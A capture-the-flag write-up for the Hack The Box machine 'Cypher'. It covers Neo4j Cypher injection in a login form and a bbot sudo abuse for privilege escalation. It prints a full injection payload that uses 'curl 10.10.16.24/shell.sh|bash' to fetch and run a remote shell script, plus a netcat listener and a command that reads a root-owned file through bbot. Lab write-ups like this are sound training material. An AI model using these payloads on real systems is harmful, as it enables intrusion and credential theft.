Hackthebox: Cypher

Overview
Cypher is a medium-difficulty machine from Hack The Box dealing initially with Cypher injection through manipulation of error codes to get us a system shell, later exfiltrating creds to get user flag. For privesc, we’ll abuse bbot with the ability to inject our own YARA rules to read the contents of the root flag.
Reconnaissance
1 | PORT STATE SERVICE VERSION |
We can see that we have our usual ssh port 22 and a web application deployed on port 80 redirecting us to cypher.htb
so let’s add that to our /etc/hosts
.
Web Application - http://cypher.htb/
We can see that we have a simple web app with a login functionality:
There was no way for me to create an account so I instantly thought of injecting some SQLI payloads, starting with a simple a'
as a test:
That returned a really weird and interesting error, you can find the full error below:
1 | Traceback (most recent call last): File "/app/app.py", line 142, in verify_creds results = run_cypher(cypher) File "/app/app.py", line 63, in run_cypher return [r.data() for r in session.run(cypher)] File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/session.py", line 314, in run self._auto_result._run( File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/result.py", line 221, in _run self._attach() File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/result.py", line 409, in _attach self._connection.fetch_message() File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_common.py", line 178, in inner func(*args, **kwargs) File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_bolt.py", line 860, in fetch_message res = self._process_message(tag, fields) File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_bolt5.py", line 370, in _process_message response.on_failure(summary_metadata or {}) File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_common.py", line 245, in on_failure raise Neo4jError.hydrate(**metadata) neo4j.exceptions.CypherSyntaxError: {code: Neo.ClientError.Statement.SyntaxError} {message: Failed to parse string literal. The query must contain an even number of non-escaped quotes. (line 1, column 56 (offset: 55)) "MATCH (u:USER) -[:SECRET]-> (h:SHA1) WHERE u.name = 'a'' return h.value as hash" ^} During handling of the above exception, another exception occurred: Traceback (most recent call last): File "/app/app.py", line 165, in login creds_valid = verify_creds(username, password) File "/app/app.py", line 151, in verify_creds raise ValueError(f"Invalid cypher query: {cypher}: {traceback.format_exc()}") ValueError: Invalid cypher query: MATCH (u:USER) -[:SECRET]-> (h:SHA1) WHERE u.name = 'a'' return h.value as hash: Traceback (most recent call last): File "/app/app.py", line 142, in verify_creds results = run_cypher(cypher) File "/app/app.py", line 63, in run_cypher return [r.data() for r in session.run(cypher)] File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/session.py", line 314, in run self._auto_result._run( File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/result.py", line 221, in _run self._attach() File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/result.py", line 409, in _attach self._connection.fetch_message() File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_common.py", line 178, in inner func(*args, **kwargs) File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_bolt.py", line 860, in fetch_message res = self._process_message(tag, fields) File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_bolt5.py", line 370, in _process_message response.on_failure(summary_metadata or {}) File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_common.py", line 245, in on_failure raise Neo4jError.hydrate(**metadata) neo4j.exceptions.CypherSyntaxError: {code: Neo.ClientError.Statement.SyntaxError} {message: Failed to parse string literal. The query must contain an even number of non-escaped quotes. (line 1, column 56 (offset: 55)) "MATCH (u:USER) -[:SECRET]-> (h:SHA1) WHERE u.name = 'a'' return h.value as hash" ^} |
Concluding from the logs, this is a neo4j database error, means we’re dealing with Cypher language .
I found this really cool blog post with Cypher injection payloads: https://pentester.land/blog/cypher-injection-cheatsheet/
To not waste too much time, I used this payload to land a shell on system:
1 | a' return h.value as a UNION CALL custom.getUrlStatusCode("example.com;curl 10.10.16.24/shell.sh|bash;#") YIELD statusCode AS a RETURN a;// |
This payload exploits a query injection by prematurely closing the current string (a’) and appending a UNION CALL to the custom procedure getUrlStatusCode(), which normally retrieves HTTP status codes. Instead of a normal URL, it passes example.com;curl 10.10.16.24/shell.sh|bash;#
, where the semicolon injects a shell command that downloads and executes a malicious script from the attacker’s server (curl … | bash), while # comments out any trailing query parts to avoid errors. The YIELD statusCode AS a RETURN a segment ensures the query remains syntactically valid and returns a value, but the real impact is remote code execution on the server running this function.
And we catch a shell as neo4j user:
1 | PS C:\Users\0xkujen> nc -lvnp 9001 |
As usual, we start off with some data exfiltration to get some credentials:
1 | neo4j@cypher:/home/graphasm$ ls |
And we do find some credentials that we can use for graphasm user:
1 | neo4j@cypher:/home/graphasm$ su graphasm |
And we get our user flag!
Privilege Escalation - bbot abuse
Checking what we can execute as root, we find this interesting bbot binary:
1 | graphasm@cypher:~$ sudo -l |
What we can do here is run bbot with a custom YARA rules file (/root/root.txt) in debug mode and –dry-run, which means it only loads configurations and modules without performing any live scanning. The output confirms that five internal modules (aggregate, cloudcheck, dnsresolve, excavate, speculate) and five output modules (csv, json, python, stdout, txt) were initialized, and custom YARA rules were successfully loaded and it will load us the root flag eventually on the output:
1 | graphasm@cypher:~$ sudo /usr/local/bin/bbot -cy /root/root.txt -d --dry-run |
And that was it for Cypher; a short writeup. Hope you learned something new!
-0xkujen
- Title: Hackthebox: Cypher
- Author: Foued SAIDI
- Created at : 2025-07-24 11:50:16
- Updated at : 2025-07-24 20:22:18
- Link: https://kujen5.github.io/2025/07/24/Hackthebox-Cypher/
- License: This work is licensed under CC BY-NC-SA 4.0.